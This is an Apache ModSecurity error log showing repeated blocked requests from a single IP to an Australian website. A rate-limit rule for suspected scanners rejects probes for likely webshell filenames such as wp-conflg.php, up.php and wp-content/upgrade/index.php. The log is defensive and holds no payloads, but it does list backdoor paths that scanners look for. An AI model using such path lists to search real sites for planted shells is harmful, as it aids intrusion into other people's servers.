[Tue Dec 02 23:31:16.784039 2025] [:error] [pid 5272:tid 5281] [client 20.196.108.177:20134] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aS8GROwbFoRzPGfZYVSQXgAAAUY"]
[Tue Dec 02 23:31:17.137585 2025] [:error] [pid 3648:tid 3689] [client 20.196.108.177:20095] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aS8GReQEp5icp6XOJr0xtAAAAEU"]
[Tue Dec 02 23:31:17.557248 2025] [:error] [pid 3648:tid 3703] [client 20.196.108.177:19993] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aS8GReQEp5icp6XOJr0xtgAAAFM"]
[Tue Dec 02 23:31:17.875107 2025] [:error] [pid 5272:tid 5298] [client 20.196.108.177:20437] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aS8GRewbFoRzPGfZYVSQYAAAAVc"]
[Tue Dec 02 23:31:18.204818 2025] [:error] [pid 3648:tid 3686] [client 20.196.108.177:20435] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aS8GRuQEp5icp6XOJr0xuAAAAEI"]
[Tue Dec 02 23:31:18.512847 2025] [:error] [pid 5232:tid 5244] [client 20.196.108.177:19979] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aS8GRgApmO-auDy1ob4pcQAAAQo"]
[Tue Dec 02 23:31:18.842873 2025] [:error] [pid 3648:tid 3705] [client 20.196.108.177:20473] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aS8GRuQEp5icp6XOJr0xuQAAAFU"]
[Tue Dec 02 23:31:19.239025 2025] [:error] [pid 3648:tid 3697] [client 20.196.108.177:20230] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aS8GR-QEp5icp6XOJr0xugAAAE0"]
[Tue Dec 02 23:31:19.617132 2025] [:error] [pid 5232:tid 5258] [client 20.196.108.177:20474] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aS8GRwApmO-auDy1ob4pcgAAARg"]
[Tue Dec 02 23:31:19.977391 2025] [:error] [pid 3760:tid 3786] [client 20.196.108.177:19922] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aS8GR1jLYEjdWVcKgVWZ2QAAANg"]
[Tue Dec 02 23:31:20.348002 2025] [:error] [pid 5273:tid 5313] [client 20.196.108.177:19973] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aS8GSCMmXO5H1kNwHHWHEAAAAYs"]
[Tue Dec 02 23:31:20.747436 2025] [:error] [pid 5232:tid 5256] [client 20.196.108.177:20059] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aS8GSAApmO-auDy1ob4pcwAAARY"]
[Tue Dec 02 23:31:21.094290 2025] [:error] [pid 5232:tid 5237] [client 20.196.108.177:19998] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aS8GSQApmO-auDy1ob4pdQAAAQM"]
[Tue Dec 02 23:31:21.480013 2025] [:error] [pid 3647:tid 3672] [client 20.196.108.177:20478] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aS8GSVJaqGDFgh_0XI_YdwAAABM"]
[Tue Dec 02 23:31:21.857192 2025] [:error] [pid 5272:tid 5275] [client 20.196.108.177:20033] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aS8GSewbFoRzPGfZYVSQaAAAAUA"]
[Tue Dec 02 23:31:22.228633 2025] [:error] [pid 5232:tid 5236] [client 20.196.108.177:19997] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aS8GSgApmO-auDy1ob4pegAAAQI"]
[Tue Dec 02 23:31:22.570072 2025] [:error] [pid 3647:tid 3654] [client 20.196.108.177:19981] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aS8GSlJaqGDFgh_0XI_YeAAAAAE"]
[Tue Dec 02 23:31:22.924128 2025] [:error] [pid 3760:tid 3764] [client 20.196.108.177:20444] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aS8GSljLYEjdWVcKgVWZ2gAAAMI"]
[Tue Dec 02 23:31:23.261880 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20363] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aS8GS-QEp5icp6XOJr0xwAAAAFQ"]
[Tue Dec 02 23:31:23.597066 2025] [:error] [pid 5272:tid 5286] [client 20.196.108.177:20015] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aS8GS-wbFoRzPGfZYVSQagAAAUs"]
[Tue Dec 02 23:31:23.950640 2025] [:error] [pid 3649:tid 3730] [client 20.196.108.177:20150] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aS8GS7wjL4uqC6YFjxHLagAAAJM"]
[Tue Dec 02 23:31:24.327068 2025] [:error] [pid 3648:tid 3707] [client 20.196.108.177:20123] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aS8GTOQEp5icp6XOJr0xwwAAAFc"]
[Tue Dec 02 23:31:24.707519 2025] [:error] [pid 3649:tid 3732] [client 20.196.108.177:20003] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aS8GTLwjL4uqC6YFjxHLawAAAJU"]
[Tue Dec 02 23:31:25.017400 2025] [:error] [pid 3649:tid 3712] [client 20.196.108.177:19972] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aS8GTbwjL4uqC6YFjxHLbAAAAIE"]
[Tue Dec 02 23:31:25.828485 2025] [:error] [pid 3648:tid 3697] [client 20.196.108.177:20354] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aS8GTeQEp5icp6XOJr0xxQAAAE0"]
[Tue Dec 02 23:31:26.247028 2025] [:error] [pid 5273:tid 5323] [client 20.196.108.177:20142] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aS8GTiMmXO5H1kNwHHWHFgAAAZU"]
[Tue Dec 02 23:31:26.697977 2025] [:error] [pid 3648:tid 3684] [client 20.196.108.177:20083] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aS8GTuQEp5icp6XOJr0xxgAAAEA"]
[Tue Dec 02 23:31:27.156851 2025] [:error] [pid 5232:tid 5250] [client 20.196.108.177:20081] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aS8GTwApmO-auDy1ob4piwAAARA"]
[Tue Dec 02 23:31:27.616025 2025] [:error] [pid 3648:tid 3691] [client 20.196.108.177:20433] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aS8GT-QEp5icp6XOJr0xxwAAAEc"]
[Tue Dec 02 23:31:27.938039 2025] [:error] [pid 3648:tid 3701] [client 20.196.108.177:20214] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aS8GT-QEp5icp6XOJr0xyAAAAFE"]
[Tue Dec 02 23:31:28.406736 2025] [:error] [pid 3648:tid 3685] [client 20.196.108.177:20354] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aS8GUOQEp5icp6XOJr0xyQAAAEE"]
[Tue Dec 02 23:31:28.984870 2025] [:error] [pid 5272:tid 5289] [client 20.196.108.177:20057] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aS8GUOwbFoRzPGfZYVSQbwAAAU4"]
[Tue Dec 02 23:31:29.351604 2025] [:error] [pid 5273:tid 5313] [client 20.196.108.177:19938] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aS8GUSMmXO5H1kNwHHWHGwAAAYs"]
[Tue Dec 02 23:31:29.710277 2025] [:error] [pid 3647:tid 3661] [client 20.196.108.177:19985] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aS8GUVJaqGDFgh_0XI_YggAAAAg"]
[Tue Dec 02 23:31:30.302192 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:20378] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aS8GUlJaqGDFgh_0XI_YhAAAAAI"]
[Tue Dec 02 23:31:30.762382 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20071] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aS8GUuQEp5icp6XOJr0xywAAAEQ"]
[Tue Dec 02 23:31:31.272424 2025] [:error] [pid 3649:tid 3723] [client 20.196.108.177:20053] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aS8GU7wjL4uqC6YFjxHLdgAAAIw"]
[Tue Dec 02 23:31:31.605272 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20463] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aS8GU-QEp5icp6XOJr0xzQAAAFQ"]
[Tue Dec 02 23:31:32.001966 2025] [:error] [pid 48650:tid 48678] [client 20.196.108.177:20007] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aS8GVIQuWSn3xrJsXbn8FAAAAdc"]
[Tue Dec 02 23:31:32.474158 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:19912] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aS8GVAApmO-auDy1ob4pkgAAARQ"]
[Tue Dec 02 23:31:32.895180 2025] [:error] [pid 48650:tid 48676] [client 20.196.108.177:20369] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aS8GVIQuWSn3xrJsXbn8GAAAAdU"]
[Tue Dec 02 23:31:33.390897 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20454] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aS8GVewbFoRzPGfZYVSQcwAAAVA"]
[Tue Dec 02 23:31:33.754132 2025] [:error] [pid 3648:tid 3695] [client 20.196.108.177:20137] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aS8GVeQEp5icp6XOJr0x0AAAAEs"]
[Tue Dec 02 23:31:34.188649 2025] [:error] [pid 5232:tid 5234] [client 20.196.108.177:20008] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aS8GVgApmO-auDy1ob4plgAAAQA"]
[Tue Dec 02 23:31:34.560126 2025] [:error] [pid 5273:tid 5320] [client 20.196.108.177:20371] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aS8GViMmXO5H1kNwHHWHIQAAAZI"]
[Tue Dec 02 23:31:35.023979 2025] [:error] [pid 5273:tid 5310] [client 20.196.108.177:20028] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aS8GVyMmXO5H1kNwHHWHIwAAAYg"]
[Tue Dec 02 23:31:35.429975 2025] [:error] [pid 5232:tid 5247] [client 20.196.108.177:20283] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aS8GVwApmO-auDy1ob4plwAAAQ0"]
[Tue Dec 02 23:31:36.056558 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:19933] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aS8GWIQuWSn3xrJsXbn8GwAAAco"]
[Tue Dec 02 23:31:36.649201 2025] [:error] [pid 5272:tid 5295] [client 20.196.108.177:20358] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aS8GWOwbFoRzPGfZYVSQdwAAAVQ"]
[Tue Dec 02 23:31:37.075728 2025] [:error] [pid 3648:tid 3708] [client 20.196.108.177:19946] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aS8GWeQEp5icp6XOJr0x1wAAAFg"]
[Tue Dec 02 23:31:37.698645 2025] [:error] [pid 48650:tid 48669] [client 20.196.108.177:20471] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aS8GWYQuWSn3xrJsXbn8IAAAAc4"]
[Tue Dec 02 23:31:38.037634 2025] [:error] [pid 5232:tid 5243] [client 20.196.108.177:19974] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aS8GWgApmO-auDy1ob4pmQAAAQk"]
[Tue Dec 02 23:31:38.397935 2025] [:error] [pid 3647:tid 3662] [client 20.196.108.177:20416] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aS8GWlJaqGDFgh_0XI_YjQAAAAk"]
[Tue Dec 02 23:31:38.812563 2025] [:error] [pid 3649:tid 3722] [client 20.196.108.177:20464] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aS8GWrwjL4uqC6YFjxHLfwAAAIs"]
[Tue Dec 02 23:31:39.241969 2025] [:error] [pid 3647:tid 3660] [client 20.196.108.177:20376] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aS8GW1JaqGDFgh_0XI_YjgAAAAc"]
